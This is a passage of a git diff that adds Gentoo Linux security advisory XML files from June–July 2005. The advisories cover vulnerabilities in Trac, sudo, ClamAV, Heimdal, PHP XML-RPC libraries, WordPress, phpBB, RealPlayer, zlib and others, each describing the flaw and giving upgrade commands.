+  <title>Trac: File upload vulnerability</title>
+  <synopsis>
+    Trac may allow remote attackers to upload files, possibly leading to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">trac</product>
+  <announced>June 22, 2005</announced>
+  <revised>June 22, 2005: 01</revised>
+  <bug>96572</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/trac" auto="yes" arch="*">
+      <unaffected range="ge">0.8.4</unaffected>
+      <vulnerable range="lt">0.8.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Trac is a minimalistic web-based project management, wiki and bug
+    tracking system including a Subversion interface.
+    </p>
+  </background>
+  <description>
+    <p>
+    Stefan Esser of the Hardened-PHP project discovered that Trac
+    fails to validate the "id" parameter when uploading attachments to the
+    wiki or the bug tracking system.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit the vulnerability to upload
+    arbitrary files to a directory where the webserver has write access to,
+    possibly leading to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Trac users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/trac-0.8.4&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.hardened-php.net/advisory-012005.php">Hardened PHP Advisory 012005</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Jun 2005 20:04:48 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 22 Jun 2005 01:36:58 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 22 Jun 2005 08:15:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-22.xml b/xml/htdocs/security/en/glsa/glsa-200506-22.xml
new file mode 100644
index 00000000..495ed057
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-22.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-22">
+  <title>sudo: Arbitrary command execution</title>
+  <synopsis>
+    A vulnerability in sudo may allow local users to elevate privileges.
+  </synopsis>
+  <product type="ebuild">sudo</product>
+  <announced>June 23, 2005</announced>
+  <revised>June 23, 2005: 01</revised>
+  <bug>96618</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-admin/sudo" auto="yes" arch="*">
+      <unaffected range="ge">1.6.8_p9</unaffected>
+      <vulnerable range="lt">1.6.8_p9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    sudo allows a system administrator to give users the ability to
+    run commands as other users.
+    </p>
+  </background>
+  <description>
+    <p>
+    The sudoers file is used to define the actions sudo users are
+    permitted to perform. Charles Morris discovered that a specific layout
+    of the sudoers file could cause the results of an internal check to be
+    clobbered, leaving sudo vulnerable to a race condition.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Successful exploitation would permit a local sudo user to execute
+    arbitrary commands as another user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Reorder the sudoers file using the visudo utility to ensure the
+    'ALL' pseudo-command precedes other command definitions.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All sudo users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-admin/sudo-1.6.8_p9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.sudo.ws/sudo/alerts/path_race.html">Sudo Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 21 Jun 2005 20:05:11 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 22 Jun 2005 15:18:20 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 23 Jun 2005 06:48:01 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-23.xml b/xml/htdocs/security/en/glsa/glsa-200506-23.xml
new file mode 100644
index 00000000..6f3a6fbf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-23.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-23">
+  <title>Clam AntiVirus: Denial of Service vulnerability</title>
+  <synopsis>
+    Clam AntiVirus is vulnerable to a Denial of Service attack when processing
+    certain Quantum archives.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>June 27, 2005</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>96960</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.86.1</unaffected>
+      <vulnerable range="lt">0.86.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is a GPL anti-virus toolkit, designed for integration
+    with mail servers to perform attachment scanning. Clam AntiVirus also
+    provides a command line scanner and a tool for fetching updates of the
+    virus database.
+    </p>
+  </background>
+  <description>
+    <p>
+    Andrew Toller and Stefan Kanthak discovered that a flaw in libmspack's
+    Quantum archive decompressor renders Clam AntiVirus vulnerable to a
+    Denial of Service attack.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could exploit this vulnerability to cause a Denial of
+    Service by sending a specially crafted Quantum archive to the server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Clam AntiVirus users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.86.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://sourceforge.net/project/shownotes.php?release_id=337279">Clam AntiVirus Release Notes</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2056">CVE-2005-2056</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 24 Jun 2005 22:27:44 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 24 Jun 2005 23:09:26 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 26 Jun 2005 16:53:15 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200506-24.xml b/xml/htdocs/security/en/glsa/glsa-200506-24.xml
new file mode 100644
index 00000000..a948b1c6
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200506-24.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200506-24">
+  <title>Heimdal: Buffer overflow vulnerabilities</title>
+  <synopsis>
+    Multiple buffer overflow vulnerabilities in Heimdal's telnetd server could
+    allow the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">heimdal</product>
+  <announced>June 29, 2005</announced>
+  <revised>June 29, 2005: 01</revised>
+  <bug>96727</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-crypt/heimdal" auto="yes" arch="*">
+      <unaffected range="ge">0.6.5</unaffected>
+      <vulnerable range="lt">0.6.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Heimdal is a free implementation of Kerberos 5 that includes a
+    telnetd server.
+    </p>
+  </background>
+  <description>
+    <p>
+    It has been reported that the "getterminaltype" function of
+    Heimdal's telnetd server is vulnerable to buffer overflows.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to execute arbitrary
+    code with the permission of the telnetd server program.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-crypt/heimdal-0.6.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2040">CAN-2005-2040</uri>
+    <uri link="http://www.pdc.kth.se/heimdal/advisory/2005-06-20/">Heimdal Advisory 2005-06-20</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 23 Jun 2005 11:06:31 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 23 Jun 2005 12:58:46 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 29 Jun 2005 07:29:29 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-01.xml b/xml/htdocs/security/en/glsa/glsa-200507-01.xml
new file mode 100644
index 00000000..8899f349
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-01.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-01">
+  <title>PEAR XML-RPC, phpxmlrpc: PHP script injection vulnerability</title>
+  <synopsis>
+    The PEAR XML-RPC and phpxmlrpc libraries allow remote attackers to execute
+    arbitrary PHP script commands.
+  </synopsis>
+  <product type="ebuild">pear-xml_rpc phpxmlrpc</product>
+  <announced>July 03, 2005</announced>
+  <revised>July 03, 2005: 01</revised>
+  <bug>97399</bug>
+  <bug>97629</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-php/PEAR-XML_RPC" auto="yes" arch="*">
+      <unaffected range="ge">1.3.1</unaffected>
+      <vulnerable range="lt">1.3.1</vulnerable>
+    </package>
+    <package name="dev-php/phpxmlrpc" auto="yes" arch="*">
+      <unaffected range="ge">1.1.1</unaffected>
+      <vulnerable range="lt">1.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The PEAR XML-RPC and phpxmlrpc libraries are both PHP
+    implementations of the XML-RPC protocol.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Bercegay of GulfTech Security Research discovered that the
+    PEAR XML-RPC and phpxmlrpc libraries fail to sanatize input sent using
+    the "POST" method.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute
+    arbitrary PHP script code by sending a specially crafted XML document
+    to web applications making use of these libraries.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PEAR-XML_RPC users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/PEAR-XML_RPC-1.3.1&quot;</code>
+    <p>
+    All phpxmlrpc users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-php/phpxmlrpc-1.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1921">CAN-2005-1921</uri>
+    <uri link="http://www.gulftech.org/?node=research&amp;article_id=00088-07022005">GulfTech Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 01 Jul 2005 16:53:39 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 02 Jul 2005 09:41:01 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 02 Jul 2005 09:55:08 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-02.xml b/xml/htdocs/security/en/glsa/glsa-200507-02.xml
new file mode 100644
index 00000000..d6ae95fe
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-02.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-02">
+  <title>WordPress: Multiple vulnerabilities</title>
+  <synopsis>
+    WordPress contains PHP script injection, cross-site scripting and path
+    disclosure vulnerabilities.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>July 04, 2005</announced>
+  <revised>July 04, 2005: 01</revised>
+  <bug>97374</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">1.5.1.3</unaffected>
+      <vulnerable range="lt">1.5.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based content management and
+    publishing system.
+    </p>
+  </background>
+  <description>
+    <p>
+    James Bercegay of the GulfTech Security Research Team discovered
+    that WordPress insufficiently checks data passed to the XML-RPC server.
+    He also discovered that WordPress has several cross-site scripting and
+    full path disclosure vulnerabilities.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could use the PHP script injection vulnerabilities to
+    execute arbitrary PHP script commands. Furthermore the cross-site
+    scripting vulnerabilities could be exploited to execute arbitrary
+    script code in a user's browser session in context of a vulnerable
+    site.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-1.5.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1921">CAN-2005-1921</uri>
+    <uri link="http://www.gulftech.org/?node=research&amp;article_id=00085-06282005">GulfTech Advisory</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 30 Jun 2005 16:03:34 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 30 Jun 2005 17:49:02 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 04 Jul 2005 09:45:20 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-03.xml b/xml/htdocs/security/en/glsa/glsa-200507-03.xml
new file mode 100644
index 00000000..68436d2e
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-03.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-03">
+  <title>phpBB: Arbitrary command execution</title>
+  <synopsis>
+    A vulnerability in phpBB allows a remote attacker to execute arbitrary
+    commands with the rights of the web server.
+  </synopsis>
+  <product type="ebuild">phpBB</product>
+  <announced>July 04, 2005</announced>
+  <revised>September 03, 2005: 03</revised>
+  <bug>97278</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpBB" auto="yes" arch="*">
+      <unaffected range="ge">2.0.16</unaffected>
+      <vulnerable range="lt">2.0.16</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpBB is an Open Source bulletin board package.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ron van Daal discovered that phpBB contains a vulnerability in the
+    highlighting code.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Successful exploitation would grant an attacker unrestricted access to
+    the PHP exec() or system() functions, allowing the execution of
+    arbitrary commands with the rights of the web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Please follow the instructions given in the phpBB announcement.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    The phpBB package is no longer supported by Gentoo Linux and has been
+    masked in the Portage repository, no further announcements will be
+    issued regarding phpBB updates. Users who wish to continue using phpBB
+    are advised to monitor and refer to www.phpbb.com for more information.
+    </p>
+    <p>
+    To continue using the Gentoo-provided phpBB package, please refer to
+    the Portage documentation on unmasking packages and upgrade to 2.0.16.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2086">CAN-2005-2086</uri>
+    <uri link="http://www.phpbb.com/phpBB/viewtopic.php?f=14&amp;t=302011">phpBB Announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 29 Jun 2005 13:31:49 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 29 Jun 2005 14:18:11 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 02 Jul 2005 09:31:28 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-04.xml b/xml/htdocs/security/en/glsa/glsa-200507-04.xml
new file mode 100644
index 00000000..ce8dc8bd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-04.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-04">
+  <title>RealPlayer: Heap overflow vulnerability</title>
+  <synopsis>
+    RealPlayer is vulnerable to a heap overflow that could lead to remote
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">realplayer</product>
+  <announced>July 06, 2005</announced>
+  <revised>July 06, 2005: 01</revised>
+  <bug>96923</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/realplayer" auto="yes" arch="*">
+      <unaffected range="ge">10.0.5</unaffected>
+      <vulnerable range="lt">10.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RealPlayer is a multimedia player capable of handling multiple
+    multimedia file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    RealPlayer is vulnerable to a heap overflow when opening RealMedia
+    files which make use of RealText.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to play a specially crafted RealMedia file an
+    attacker could execute arbitrary code with the permissions of the user
+    running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RealPlayer users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/realplayer-10.0.5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://service.real.com/help/faq/security/050623_player/EN/">RealNetworks Security Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1766">CAN-2005-1766</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sun, 26 Jun 2005 18:08:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 26 Jun 2005 18:38:32 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Jul 2005 12:36:44 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-05.xml b/xml/htdocs/security/en/glsa/glsa-200507-05.xml
new file mode 100644
index 00000000..d24a779f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-05.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-05">
+  <title>zlib: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow has been discovered in zlib, potentially resulting in the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">zlib</product>
+  <announced>July 06, 2005</announced>
+  <revised>July 06, 2005: 01</revised>
+  <bug>98121</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-libs/zlib" auto="yes" arch="*">
+      <unaffected range="ge">1.2.2-r1</unaffected>
+      <vulnerable range="lt">1.2.2-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zlib is a widely used free and patent unencumbered data
+    compression library.
+    </p>
+  </background>
+  <description>
+    <p>
+    Tavis Ormandy of the Gentoo Linux Security Audit Team discovered a
+    buffer overflow in zlib. A bounds checking operation failed to take
+    invalid data into account, allowing a specifically malformed deflate
+    data stream to overrun a buffer.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could construct a malformed data stream, embedding it
+    within network communication or an application file format, potentially
+    resulting in the execution of arbitrary code when decoded by the
+    application using the zlib library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-libs/zlib-1.2.2-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-2096">CAN-2005-2096</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Mon, 04 Jul 2005 06:51:26 +0000">
+    taviso
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Jul 2005 14:21:00 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-06.xml b/xml/htdocs/security/en/glsa/glsa-200507-06.xml
new file mode 100644
index 00000000..dab53ec4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-06.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-06">
+  <title>TikiWiki: Arbitrary command execution through XML-RPC</title>
+  <synopsis>
+    TikiWiki includes PHP XML-RPC code, making it vulnerable to arbitrary
+    command execution.
+  </synopsis>
+  <product type="ebuild">Tikiwiki</product>
+  <announced>July 06, 2005</announced>
+  <revised>July 06, 2005: 01</revised>
+  <bug>97648</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/tikiwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.8.5-r1</unaffected>
+      <vulnerable range="lt">1.8.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    TikiWiki is a web-based groupware and content management system
+    (CMS), using PHP, ADOdb and Smarty. TikiWiki includes vulnerable PHP
+    XML-RPC code.
+    </p>
+  </background>
+  <description>
+    <p>
+    TikiWiki is vulnerable to arbitrary command execution as described
+    in GLSA 200507-01.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit this vulnerability to execute
+    arbitrary PHP code by sending specially crafted XML data.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All TikiWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/tikiwiki-1.8.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://security.gentoo.org/glsa/glsa-200507-01.xml">GLSA 200507-01</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1921">CAN-2005-1921</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 Jul 2005 08:27:19 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 06 Jul 2005 08:27:44 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Jul 2005 11:56:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-07.xml b/xml/htdocs/security/en/glsa/glsa-200507-07.xml
new file mode 100644
index 00000000..577ffc22
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-07.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-07">
+  <title>phpWebSite: Multiple vulnerabilities</title>
+  <synopsis>
+    phpWebSite is vulnerable to the remote execution of arbitrary PHP script
+    code and to other, yet undisclosed, vulnerabilities.
+  </synopsis>
+  <product type="ebuild">phpwebsite</product>
+  <announced>July 10, 2005</announced>
+  <revised>July 10, 2005: 01</revised>
+  <bug>97461</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwebsite" auto="yes" arch="*">
+      <unaffected range="ge">0.10.1-r1</unaffected>
+      <vulnerable range="lt">0.10.1-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpWebSite is a content management system written in PHP.
+    </p>
+  </background>
+  <description>
+    <p>
+    phpWebSite fails to sanitize input sent to the XML-RPC server
+    using the "POST" method. Other unspecified vulnerabilities have been
+    discovered by Diabolic Crab of Hackers Center.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the XML-RPC vulnerability to
+    execute arbitrary PHP script code by sending specially crafted XML data
+    to phpWebSite. The undisclosed vulnerabilities do have an unknown
+    impact.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpWebSite users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-app/phpwebsite-0.10.1-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-1921">CAN-2005-1921</uri>
+    <uri link="http://phpwebsite.appstate.edu/index.php?module=announce&amp;ANN_user_op=view&amp;ANN_id=989">phpWebSite announcement</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 06 Jul 2005 12:51:16 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 06 Jul 2005 14:39:13 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 09 Jul 2005 22:50:54 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200507-08.xml b/xml/htdocs/security/en/glsa/glsa-200507-08.xml
new file mode 100644
index 00000000..5ffe8c9b
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200507-08.xml
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200507-08">
+  <title>phpGroupWare, eGroupWare: PHP script injection vulnerability</title>
+  <synopsis>
+    phpGroupWare and eGroupWare include an XML-RPC implementation which allows
+    remote attackers to execute arbitrary PHP script commands.
+  </synopsis>
+  <product type="ebuild">phpgroupware egroupware</product>
+  <announced>July 10, 2005</announced>
+  <revised>July 10, 2005: 01</revised>
+  <bug>97460</bug>
+  <bug>97651</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpgroupware" auto="yes" arch="*">
+      <unaffected range="ge">0.9.16.006</unaffected>
+      <vulnerable range="lt">0.9.16.006</vulnerable>
+    </package>
+    <package name="www-apps/egroupware" auto="yes" arch="*">
+      <unaffected range="ge">1.0.0.008</unaffected>
+      <vulnerable range="lt">1.0.0.008</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    phpGroupWare and eGroupWare are web based collaboration software
+    suites.
+    </p>
+  </background>
+  <description>
+    <p>
+    The XML-RPC implementations of phpGroupWare and eGroupWare fail to
+    sanitize input sent to the XML-RPC server using the "POST" method.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker could exploit the XML-RPC vulnerability to
+    execute arbitrary PHP script code by sending specially crafted XML data
+    to the XML-RPC servers of phpGroupWare or eGroupWare.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All phpGroupWare users should upgrade to the latest available
+    version:
+    </p>
+    <code>
+    # emerge --sync
